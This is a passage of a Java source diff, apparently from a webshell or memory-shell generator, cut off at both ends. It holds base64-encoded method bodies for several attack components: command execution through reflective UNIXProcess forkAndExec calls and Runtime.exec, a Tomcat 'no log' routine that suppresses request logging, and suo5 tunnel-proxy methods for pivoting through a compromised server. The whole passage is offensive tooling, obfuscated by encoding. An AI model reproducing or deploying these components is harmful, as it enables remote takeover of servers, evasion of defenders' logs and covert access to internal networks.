NPYmplY3QgPSB1bnNhZmUuYWxsb2NhdGVJbnN0YW5jZShwcm9jZXNzQ2xhc3MpOwoJCQkJCWJ5dGVbXVtdIGFyZ3MgPSBuZXcgYnl0ZVtjbWRzLmxlbmd0aCAtIDFdW107CgkJCQkJaW50ICAgICAgc2l6ZSA9IGFyZ3MubGVuZ3RoOwoJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgYXJncy5sZW5ndGg7IGkrKykgewoJCQkJCQlhcmdzW2ldID0gY21kc1tpICsgMV0uZ2V0Qnl0ZXMoKTsKCQkJCQkJc2l6ZSArPSBhcmdzW2ldLmxlbmd0aDsKCQkJCQl9CgkJCQkJYnl0ZVtdIGFyZ0Jsb2NrID0gbmV3IGJ5dGVbc2l6ZV07CgkJCQkJaW50ICAgIGkgICAgICAgID0gMDsKCQkJCQlmb3IgKGludCBpMSA9IDA7IGkxIDwgYXJncy5sZW5ndGg7IGkxKyspIHsKCQkJCQkJU3lzdGVtLmFycmF5Y29weShhcmdzW2kxXSwgMCwgYXJnQmxvY2ssIGksIGFyZ3NbaTFdLmxlbmd0aCk7CgkJCQkJCWkgKz0gYXJnc1tpMV0ubGVuZ3RoICsgMTsKCQkJCQl9CgkJCQkJaW50W10gc3RkX2ZkcyA9IG5ldyBpbnRbXXstMSwgLTEsIC0xfTsKCgkJCQkJdHJ5IHsKCQkJCQkJT2JqZWN0IGxhdW5jaE1lY2hhbmlzbU9iamVjdCA9IGdldEZpZWxkVmFsdWUocHJvY2Vzc09iamVjdCwgImxhdW5jaE1lY2hhbmlzbSIpOwoJCQkJCQlieXRlW10gaGVscGVycGF0aE9iamVjdCAgICAgID0gKGJ5dGVbXSkgZ2V0RmllbGRWYWx1ZShwcm9jZXNzT2JqZWN0LCAiaGVscGVycGF0aCIpOwoJCQkJCQlpbnQgICAgb3JkaW5hbCAgICAgICAgICAgICAgID0gamF2YS5sYW5nLkludGVnZXIucGFyc2VJbnQoZ2V0TWV0aG9kQW5kSW52b2tlKGxhdW5jaE1lY2hhbmlzbU9iamVjdCwgIm9yZGluYWwiLCBudWxsLCBudWxsKS50b1N0cmluZygpKTsKCQkJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJmb3JrQW5kRXhlYyIsIG5ldyBDbGFzc1tde2ludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBieXRlW10uY2xhc3MsIGJ5dGVbXS5jbGFzcywgaW50LmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnRbXS5jbGFzcywgYm9vbGVhbi5jbGFzc30sIG5ldyBPYmplY3RbXXtJbnRlZ2VyLnZhbHVlT2Yob3JkaW5hbCArIDEpLCBoZWxwZXJwYXRoT2JqZWN0LCB0b0NTdHJpbmcoY21kc1swXSksIGFyZ0Jsb2NrLCBJbnRlZ2VyLnZhbHVlT2YoYXJncy5sZW5ndGgpLCBudWxsLCBJbnRlZ2VyLnZhbHVlT2YoMSksIG51bGwsIHN0ZF9mZHMsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFfSk7CgkJCQkJCWdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiaW5pdFN0cmVhbXMiLCBuZXcgQ2xhc3NbXXtpbnRbXS5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRfZmRzfSk7CgkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJamF2YS5pby5GaWxlRGVzY3JpcHRvciBzdGRvdXRfZmQgPSBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2UocHJvY2Vzc09iamVjdCwgImZvcmtBbmRFeGVjIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGJ5dGVbXS5jbGFzcywgYm9vbGVhbi5jbGFzcywgamF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzcywgamF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzcywgamF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzc30sCgkJCQkJCQkJbmV3IE9iamVjdFtde3RvQ1N0cmluZyhjbWRzWzBdKSwgYXJnQmxvY2ssIEludGVnZXIudmFsdWVPZihhcmdzLmxlbmd0aCksIG51bGwsIEludGVnZXIudmFsdWVPZigxKSwgbnVsbCwgamF2YS5sYW5nLkJvb2xlYW4uRkFMU0UsIG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCksIHN0ZG91dF9mZCwgbmV3IGphdmEuaW8uRmlsZURlc2NyaXB0b3IoKX0pOwoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZDIgPSBwcm9jZXNzQ2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgic3Rkb3V0X3N0cmVhbSIpOwoJCQkJCQlmaWVsZDIuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCgkJCQkJCXRyeSB7CgkJCQkJCQlDbGFzcyAgICAgICAgICAgICAgICAgICAgICAgICBkY2lzQ2xhc3MgICA9IENsYXNzLmZvck5hbWUoImphdmEubGFuZy5VTklYUHJvY2VzcyREZWZlcnJlZENsb3NlSW5wdXRTdHJlYW0iKTsKCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkNvbnN0cnVjdG9yIGNvbnN0cnVjdG9yID0gZGNpc0NsYXNzLmdldERlY2xhcmVkQ29uc3RydWN0b3IobmV3IENsYXNzW117amF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzc30pOwoJCQkJCQkJY29uc3RydWN0b3Iuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJCWZpZWxkMi5zZXQocHJvY2Vzc09iamVjdCwgbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbSgoamF2YS5pby5JbnB1dFN0cmVhbSkgY29uc3RydWN0b3IubmV3SW5zdGFuY2UobmV3IE9iamVjdFtde3N0ZG91dF9mZH0pKSk7CgkJCQkJCX1jYXRjaCAoRXhjZXB0aW9uIG5ldmVyTWluZCl7CgkJCQkJCQlmaWVsZDIuc2V0KHByb2Nlc3NPYmplY3QsIG5ldyBqYXZhLmlvLkJ1ZmZlcmVkSW5wdXRTdHJlYW0obmV3IGphdmEuaW8uRmlsZUlucHV0U3RyZWFtKHN0ZG91dF9mZCkpKTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJCWphdmEuaW8uSW5wdXRTdHJlYW0gaW4gPSAoamF2YS5pby5JbnB1dFN0cmVhbSkgZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJnZXRJbnB1dFN0cmVhbSIsIG51bGwsIG51bGwpOwoJCQkJaW50ICAgICAgICAgICAgICAgICBhICA9IDA7CgkJCQlieXRlW10gICAgICAgICAgICAgIGIgID0gbmV3IGJ5dGVbMTAyNF07CgkJCQl3aGlsZSAoKGEgPSBpbi5yZWFkKGIpKSAhPSAtMSkgewoJCQkJCWJhb3Mud3JpdGUoYiwgMCwgYSk7CgkJCQl9CgkJCQlyZXR1cm4gYmFvczsKCQkJfQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJCXJldHVybiBudWxsOwoJfQ=="; + + // 命令执行封装方法,简单使用 Runtime.getRuntime().exec() + public static String EXEC_CMD = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdIGNtZHMgPSBudWxsOwoJCQkJaWYgKFN5c3RlbS5nZXRQcm9wZXJ0eSgib3MubmFtZSIpLnRvTG93ZXJDYXNlKCkuY29udGFpbnMoIndpbiIpKSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiY21kIiwgIi9jIiwgY21kfTsKCQkJCX0gZWxzZSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiL2Jpbi9iYXNoIiwgIi1jIiwgY21kfTsKCQkJCX0KCgkJCQlqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWRzKS5nZXRJbnB1dFN0cmVhbSgpOwoJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYmFvcyA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCQkJaW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgYSAgICA9IDA7CgkJCQlieXRlW10gICAgICAgICAgICAgICAgICAgICAgICBiICAgID0gbmV3IGJ5dGVbMTAyNF07CgoJCQkJd2hpbGUgKChhID0gaW4ucmVhZChiKSkgIT0gLTEpIHsKCQkJCQliYW9zLndyaXRlKGIsIDAsIGEpOwoJCQkJfQoKCQkJCXJldHVybiBiYW9zOwoJCQl9CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9CgoJCXJldHVybiBudWxsOwoJfQ=="; + + // Tomcat NO LOG 方法,需要 getFieldValue getMethodByClass getMethodAndInvoke + public static String TOMCAT_NO_LOG = "cHVibGljIHZvaWQgbm9Mb2coT2JqZWN0IHJlcU9iaikgewoJCXRyeSB7CgkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbkNvbnRleHQgPSBnZXRGaWVsZFZhbHVlKGdldE1ldGhvZEFuZEludm9rZShyZXFPYmosICJnZXRTZXJ2bGV0Q29udGV4dCIsIG51bGwsIG51bGwpLCAiY29udGV4dCIpOwoJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgY29udGFpbmVyICAgICAgICAgID0gZ2V0RmllbGRWYWx1ZShhcHBsaWNhdGlvbkNvbnRleHQsICJjb250ZXh0Iik7CgkJCWphdmEudXRpbC5BcnJheUxpc3QgYXJyYXlMaXN0ICAgICAgICAgID0gbmV3IGphdmEudXRpbC5BcnJheUxpc3QoKTsKCQkJd2hpbGUgKGNvbnRhaW5lciAhPSBudWxsKSB7CgkJCQlhcnJheUxpc3QuYWRkKGNvbnRhaW5lcik7CgkJCQljb250YWluZXIgPSBnZXRNZXRob2RBbmRJbnZva2UoY29udGFpbmVyLCAiZ2V0UGFyZW50IiwgbnVsbCwgbnVsbCk7CgkJCX0KCQkJZm9yIChpbnQgaSA9IDA7IGkgPCBhcnJheUxpc3Quc2l6ZSgpOyBpKyspIHsKCQkJCXRyeSB7CgkJCQkJT2JqZWN0IHBpcGVsaW5lID0gZ2V0TWV0aG9kQW5kSW52b2tlKGFycmF5TGlzdC5nZXQoaSksICJnZXRQaXBlbGluZSIsIG51bGwsIG51bGwpOwoJCQkJCWlmIChwaXBlbGluZSAhPSBudWxsKSB7CgkJCQkJCU9iamVjdCB2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZShwaXBlbGluZSwgImdldEZpcnN0IiwgbnVsbCwgbnVsbCk7CgkJCQkJCXdoaWxlICh2YWx2ZSAhPSBudWxsKSB7CgkJCQkJCQlpZiAoZ2V0TWV0aG9kQnlDbGFzcyh2YWx2ZS5nZXRDbGFzcygpLCAiZ2V0Q29uZGl0aW9uIiwgbnVsbCkgIT0gbnVsbCAmJiBnZXRNZXRob2RCeUNsYXNzKHZhbHZlLmdldENsYXNzKCksICJzZXRDb25kaXRpb24iLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KSAhPSBudWxsKSB7CgkJCQkJCQkJU3RyaW5nIGNvbmRpdGlvbiA9IChTdHJpbmcpIGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldENvbmRpdGlvbiIsIG51bGwsIG51bGwpOwoJCQkJCQkJCWNvbmRpdGlvbiA9IChjb25kaXRpb24gPT0gbnVsbCkgPyAiV2hhdGV2ZXIiIDogY29uZGl0aW9uOwoJCQkJCQkJCWdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgInNldENvbmRpdGlvbiIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtjb25kaXRpb259KTsKCQkJCQkJCQlnZXRNZXRob2RBbmRJbnZva2UocmVxT2JqLCAic2V0QXR0cmlidXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117Y29uZGl0aW9uLCBjb25kaXRpb259KTsKCQkJCQkJCQl2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldE5leHQiLCBudWxsLCBudWxsKTsKCQkJCQkJCQljb250aW51ZTsKCQkJCQkJCX0KCQkJCQkJCWlmIChDbGFzcy5mb3JOYW1lKCJvcmcuYXBhY2hlLmNhdGFsaW5hLlZhbHZlIiwgZmFsc2UsIGFwcGxpY2F0aW9uQ29udGV4dC5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmlzQXNzaWduYWJsZUZyb20odmFsdmUuZ2V0Q2xhc3MoKSkpIHsKCQkJCQkJCQl2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldE5leHQiLCBudWxsLCBudWxsKTsKCQkJCQkJCQljb250aW51ZTsKCQkJCQkJCX0KCQkJCQkJCXZhbHZlID0gbnVsbDsKCQkJCQkJfQoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCX0KCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCX0="; + + public static class SUO5 { + + // suo5 newCreate 方法 + public static String SUO5_NEW_CREATE = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3Q3JlYXRlKGJ5dGUgcykgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDR9KTsKCQltLnB1dCgicyIsIG5ldyBieXRlW117c30pOwoJCXJldHVybiBtOwoJfQ=="; + + // suo5 newData 方法 + public static String SUO5_NEW_DATA = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3RGF0YShieXRlW10gZGF0YSkgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDF9KTsKCQltLnB1dCgiZHQiLCBkYXRhKTsKCQlyZXR1cm4gbTsKCX0="; + + // suo5 newDel 方法 + public static String SUO5_NEW_DEL = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3RGVsKCkgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDJ9KTsKCQlyZXR1cm4gbTsKCX0="; + + // suo5 setStream 方法,需要 Field gInStream,gOutStream + public static String SUO5_SET_STREAM = "cHJpdmF0ZSB2b2lkIHNldFN0cmVhbShqYXZhLmlvLklucHV0U3RyZWFtIGluLCBqYXZhLmlvLk91dHB1dFN0cmVhbSBvdXQpIHsKCQlnSW5TdHJlYW0gPSBpbjsKCQlnT3V0U3RyZWFtID0gb3V0OwoJfQ=="; + + // suo5 newStatus 方法 + public static String SUO5_NEW_STATUS = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3U3RhdHVzKGJ5dGUgYikgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgicyIsIG5ldyBieXRlW117Yn0pOwoJCXJldHVybiBtOwoJfQo="; + + // suo5 u32toBytes 方法 + public static String SUO5_U32_TO_BYTES = "Ynl0ZVtdIHUzMnRvQnl0ZXMoaW50IGkpIHsKCQlieXRlW10gcmVzdWx0ID0gbmV3IGJ5dGVbNF07CgkJcmVzdWx0WzBdID0gKGJ5dGUpIChpID4+IDI0KTsKCQlyZXN1bHRbMV0gPSAoYnl0ZSkgKGkgPj4gMTYpOwoJCXJlc3VsdFsyXSA9IChieXRlKSAoaSA+PiA4KTsKCQlyZXN1bHRbM10gPSAoYnl0ZSkgKGkgLyo+PiAwKi8pOwoJCXJldHVybiByZXN1bHQ7Cgl9"; + + // suo5 bytesToU32 方法 + public static String SUO5_BYTES_TO_U32 = "aW50IGJ5dGVzVG9VMzIoYnl0ZVtdIGJ5dGVzKSB7CgkJcmV0dXJuICgoYnl0ZXNbMF0gJiAweEZGKSA8PCAyNCkgfAoJCQkJKChieXRlc1sxXSAmIDB4RkYpIDw8IDE2KSB8CgkJCQkoKGJ5dGVzWzJdICYgMHhGRikgPDwgOCkgfAoJCQkJKChieXRlc1szXSAmIDB4RkYpKTsKCX0="; + + // suo5 marshal 方法,需要 u32toBytes + public static String SUO5_MARSHAL = "cHJpdmF0ZSBieXRlW10gbWFyc2hhbChqYXZhLnV0aWwuSGFzaE1hcCBtKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiB7CgkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYnVmID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7CgkJT2JqZWN0W10ga2V5U2V0ID0gbS5rZXlTZXQoKS50b0FycmF5KCk7CgkJCgkJZm9yIChpbnQgaSA9IDA7IGkgPCBrZXlTZXQubGVuZ3RoOyBpKyspIHsKCQkJU3RyaW5nIGtleSA9IGtleVNldFtpXS50b1N0cmluZygpOwoJCQlieXRlW10gdmFsdWUgPSAoYnl0ZVtdKW0uZ2V0KGtleSk7CgkJCWJ1Zi53cml0ZSgoYnl0ZSkga2V5Lmxlbmd0aCgpKTsKCQkJYnVmLndyaXRlKGtleS5nZXRCeXRlcygpKTsKCQkJYnVmLndyaXRlKHUzMnRvQnl0ZXMoKHZhbHVlKS5sZW5ndGgpKTsKCQkJYnVmLndyaXRlKHZhbHVlKTsKCQl9CgkJCgkJYnl0ZVtdICAgICAgICAgICAgICBkYXRhID0gYnVmLnRvQnl0ZUFycmF5KCk7CgkJamF2YS5uaW8uQnl0ZUJ1ZmZlciBkYnVmID0gamF2YS5uaW8uQnl0ZUJ1ZmZlci5hbGxvY2F0ZSg1ICsgZGF0YS5sZW5ndGgpOwoJCWRidWYucHV0SW50KGRhdGEubGVuZ3RoKTsKCQlieXRlIGtleSA9IGRhdGFbZGF0YS5sZW5ndGggLyAyXTsKCQlkYnVmLnB1dChrZXkpOwoJCWZvciAoaW50IGkgPSAwOyBpIDwgZGF0YS5sZW5ndGg7IGkrKykgewoJCX0KCQlkYnVmLnB1dChkYXRhKTsKCQlyZXR1cm4gZGJ1Zi5hcnJheSgpOwoJfQ=="; + + // suo5 unmarshal 方法,需要 bytesToU32 + public static String SUO5_UNMARSHAL = "cHJpdmF0ZSBqYXZhLnV0aWwuSGFzaE1hcCB1bm1hcnNoYWwoamF2YS5pby5JbnB1dFN0cmVhbSBpbikgdGhyb3dzIGphdmEubGFuZy5FeGNlcHRpb24gewoJCWphdmEuaW8uRGF0YUlucHV0U3RyZWFtIHJlYWRlciA9IG5ldyBqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbShpbik7CgkJYnl0ZVtdICAgICAgICAgICAgICAgICAgaGVhZGVyID0gbmV3IGJ5dGVbNCArIDFdOwoJCXJlYWRlci5yZWFkRnVsbHkoaGVhZGVyKTsKCQlqYXZhLm5pby5CeXRlQnVmZmVyIGJiICA9IGphdmEubmlvLkJ5dGVCdWZmZXIud3JhcChoZWFkZXIpOwoJCWludCAgICAgICAgICAgICAgICAgbGVuID0gYmIuZ2V0SW50KCk7CgkJaW50ICAgICAgICAgICAgICAgICB4ICAgPSBiYi5nZXQoKTsKCQlpZiAobGVuID4gMTAyNCAqIDEwMjQgKiAzMikgewoJCQl0aHJvdyBuZXcgamF2YS5pby5JT0V4Y2VwdGlvbigiaW52YWxpZCBsZW4iKTsKCQl9CgkJYnl0ZVtdIGJzID0gbmV3IGJ5dGVbbGVuXTsKCQlyZWFkZXIucmVhZEZ1bGx5KGJzKTsKCQlmb3IgKGludCBpID0gMDsgaSA8IGJzLmxlbmd0aDsgaSsrKSB7CgkJCWJzW2ldID0gKGJ5dGUpIChic1tpXSBeIHgpOwoJCX0KCQlqYXZhLnV0aWwuSGFzaE1hcCBtID0gbmV3IGphdmEudXRpbC5IYXNoTWFwKCk7CgkJYnl0ZVtdICAgICAgICAgICAgICAgICAgYnVmOwoJCWZvciAoaW50IGkgPSAwOyBpIDwgYnMubGVuZ3RoIC0gMTsgKSB7CgkJCXNob3J0IGtMZW4gPSBic1tpXTsKCQkJaSArPSAxOwoJCQlpZiAoaSArIGtMZW4gPj0gYnMubGVuZ3RoKSB7CgkJCQl0aHJvdyBuZXcgamF2YS5sYW5nLkV4Y2VwdGlvbigia2V5IGxlbiBlcnJvciIpOwoJCQl9CgkJCWlmIChrTGVuIDwgMCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oImtleSBsZW4gZXJyb3IiKTsKCQkJfQoJCQlidWYgPSBqYXZhLnV0aWwuQXJyYXlzLmNvcHlPZlJhbmdlKGJzLCBpLCBpICsga0xlbik7CgkJCVN0cmluZyBrZXkgPSBuZXcgU3RyaW5nKGJ1Zik7CgkJCWkgKz0ga0xlbjsKCgkJCWlmIChpICsgNCA+PSBicy5sZW5ndGgpIHsKCQkJCXRocm93IG5ldyBqYXZhLmxhbmcuRXhjZXB0aW9uKCJ2YWx1ZSBsZW4gZXJyb3IiKTsKCQkJfQoJCQlidWYgPSBqYXZhLnV0aWwuQXJyYXlzLmNvcHlPZlJhbmdlKGJzLCBpLCBpICsgNCk7CgkJCWludCB2TGVuID0gYnl0ZXNUb1UzMihidWYpOwoJCQlpICs9IDQ7CgkJCWlmICh2TGVuIDwgMCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oInZhbHVlIGVycm9yIik7CgkJCX0KCgkJCWlmIChpICsgdkxlbiA+IGJzLmxlbmd0aCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oInZhbHVlIGVycm9yIik7CgkJCX0KCQkJYnl0ZVtdIHZhbHVlID0gamF2YS51dGlsLkFycmF5cy5jb3B5T2ZSYW5nZShicywgaSwgaSArIHZMZW4pOwoJCQlpICs9IHZMZW47CgoJCQltLnB1dChrZXksIHZhbHVlKTsKCQl9CgkJcmV0dXJuIG07Cgl9"; + + // suo5 readSocket 方法,需要 marshal newData + public static String SUO5_READ_SOCKET = "cHJpdmF0ZSB2b2lkIHJlYWRTb2NrZXQoamF2YS5pby5JbnB1dFN0cmVhbSBpbnB1dFN0cmVhbSwgamF2YS5pby5PdXRwdXRTdHJlYW0gb3V0cHV0U3RyZWFtKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiB7CgkJYnl0ZVtdIHJlYWRCdWYgPSBuZXcgYnl0ZVsxMDI0ICogOF07CgoJCXdoaWxlICh0cnVlKSB7CgkJCWludCBuID0gaW5wdXRTdHJlYW0ucmVhZChyZWFkQnVmKTsKCQkJaWYgKG4gPD0gMCkgewoJCQkJYnJlYWs7CgkJCX0KCQkJYnl0ZVtdIGRhdGFUbXAgICA9IGphdmEudXRpbC5BcnJheXMuY29weU9mUmFuZ2UocmVhZEJ1ZiwgMCwgbik7CgkJCWJ5dGVbXSBmaW5hbERhdGEgPSBtYXJzaGFsKG5ld0RhdGEoZGF0YVRtcCkpOwoJCQlvdXRwdXRTdHJlYW0ud3JpdGUoZmluYWxEYXRhKTsKCQkJb3V0cHV0U3RyZWFtLmZsdXNoKCk7CgkJfQoJfQ=="; + + // suo5 readInputStreamWithTimeout 方法 + public static String SUO5_READ_INPUT_STREAM_WITH_TIMEOUT = "cHVibGljIHZvaWQgcmVhZElucHV0U3RyZWFtV2l0aFRpbWVvdXQoamF2YS5pby5JbnB1dFN0cmVhbSBpcywgYnl0ZVtdIGIsIGludCB0aW1lb3V0TWlsbGlzKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiwgamF2YS5sYW5nLkludGVycnVwdGVkRXhjZXB0aW9uIHsKCQlpbnQgIGJ1ZmZlck9mZnNldCAgPSAwOwoJCWxvbmcgbWF4VGltZU1pbGxpcyA9IG5ldyBqYXZhLnV0aWwuRGF0ZSgpLmdldFRpbWUoKSArIHRpbWVvdXRNaWxsaXM7CgkJd2hpbGUgKG5ldyBqYXZhLnV0aWwuRGF0ZSgpLmdldFRpbWUoKSA8IG1heFRpbWVNaWxsaXMgJiYgYnVmZmVyT2Zmc2V0IDwgYi5sZW5ndGgpIHsKCQkJaW50IHJlYWRMZW5ndGggPSBiLmxlbmd0aCAtIGJ1ZmZlck9mZnNldDsKCQkJaWYgKGlzLmF2YWlsYWJsZSgpIDwgcmVhZExlbmd0aCkgewoJCQkJcmVhZExlbmd0aCA9IGlzLmF2YWlsYWJsZSgpOwoJCQl9CgkJCWludCByZWFkUmVzdWx0ID0gaXMucmVhZChiLCBidWZmZXJPZmZzZXQsIHJlYWRMZW5ndGgpOwoJCQlpZiAocmVhZFJlc3VsdCA9PSAtMSkgYnJlYWs7CgkJCWJ1ZmZlck9mZnNldCArPSByZWFkUmVzdWx0OwoJCQlqYXZhLmxhbmcuVGhyZWFkLnNsZWVwKDIwMEwpOwoJCX0KCX0="; + + // suo5 tryFullDuplex 方法,需要 readInputStreamWithTimeout 方法 + public static String SUO5_TRY_FULL_DUPLEX = "CXB1YmxpYyB2b2lkIHRyeUZ1bGxEdXBsZXgoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCByZXF1ZXN0LCBqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwb25zZSkgdGhyb3dzIGphdmEuaW8uSU9FeGNlcHRpb24sIGphdmEubGFuZy5JbnRlcnJ1cHRlZEV4Y2VwdGlvbiB7CgkJamF2YS5pby5JbnB1dFN0cmVhbSBpbiAgID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCWJ5dGVbXSAgICAgICAgICAgICAgZGF0YSA9IG5ldyBieXRlWzMyXTsKCQlyZWFkSW5wdXRTdHJlYW1XaXRoVGltZW91dChpbiwgZGF0YSwgMjAwMCk7CgkJamF2YS5pby5PdXRwdXRTdHJlYW0gb3V0ID0gcmVzcG9uc2UuZ2V0T3V0cHV0U3RyZWFtKCk7CgkJb3V0LndyaXRlKGRhdGEpOwoJfQ=="; + + // suo5 readReq 方法,需要 unmarshal 方法 + public static String SUO5_READ_REQ = "CXByaXZhdGUgdm9pZCByZWFkUmVxKGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbSBidWZJbnB1dFN0cmVhbSwgamF2YS5pby5PdXRwdXRTdHJlYW0gc29ja2V0T3V0U3RyZWFtKSB0aHJvd3MgamF2YS5sYW5nLkV4Y2VwdGlvbiB7CgkJd2hpbGUgKHRydWUpIHsKCQkJamF2YS51dGlsLkhhc2hNYXAgZGF0YU1hcCA9IHVubWFyc2hhbChidWZJbnB1dFN0cmVhbSk7CgkJCWJ5dGVbXSBhY3Rpb24gPSAoYnl0ZVtdKSBkYXRhTWFwLmdldCgiYWMiKTsKCQkJaWYgKGFjdGlvbi5sZW5ndGggIT0gMSkgewoJCQkJcmV0dXJuOwoKCQkJfQoJCX0KCX0="; + + // suo5 processDataUnary 方法,需要 unmarshal,marshal,readSocket,newStatus,newDel + public static String SUO5_PROCESS_DATA_UNARY = "cHJpdmF0ZSB2b2lkIHByb2Nlc3NEYXRhVW5hcnkoamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCByZXF1ZXN0LCBqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXNwb25zZSByZXNwKSB0aHJvd3MKCQkJamF2YS5sYW5nLkV4Y2VwdGlvbiB7CgkJamF2YS5pby5JbnB1dFN0cmVhbSAgICAgICAgICBpcyAgICAgID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpOwoJCWphdmF4LnNlcnZsZXQuU2VydmxldENvbnRleHQgY3R4ICAgICA9IHJlcXVlc3QuZ2V0U2Vzc2lvbigpLmdldFNlcnZsZXRDb250ZXh0KCk7CgkJamF2YS5pby5CdWZmZXJlZElucHV0U3RyZWFtICByZWFkZXIgID0gbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbShpcyk7CgkJamF2YS51dGlsLkhhc2hNYXAgICAgICAgICAgICBkYXRhTWFwID0gdW5tYXJzaGFsKHJlYWRlcik7CgoJCVN0cmluZyBjbGllbnRJZCA9IG5ldyBTdHJpbmcoKGJ5dGVbXSkgZGF0YU1hcC5nZXQoImlkIikpOwoJCWJ5dGVbXSBhY3Rpb24gICA9IChieXRlW10pIGRhdGFNYXAuZ2V0KCJhYyIpOwoJCWlmIChhY3Rpb24ubGVuZ3RoICE9IDEpIHsKCQkJcmVzcC5zZXRTdGF0dXMoNDAzKTsKCQkJcmV0dXJuOwoJCX0KCgkJcmVzcC5zZXRCdWZmZXJTaXplKDggKiAxMDI0KTsKCQlqY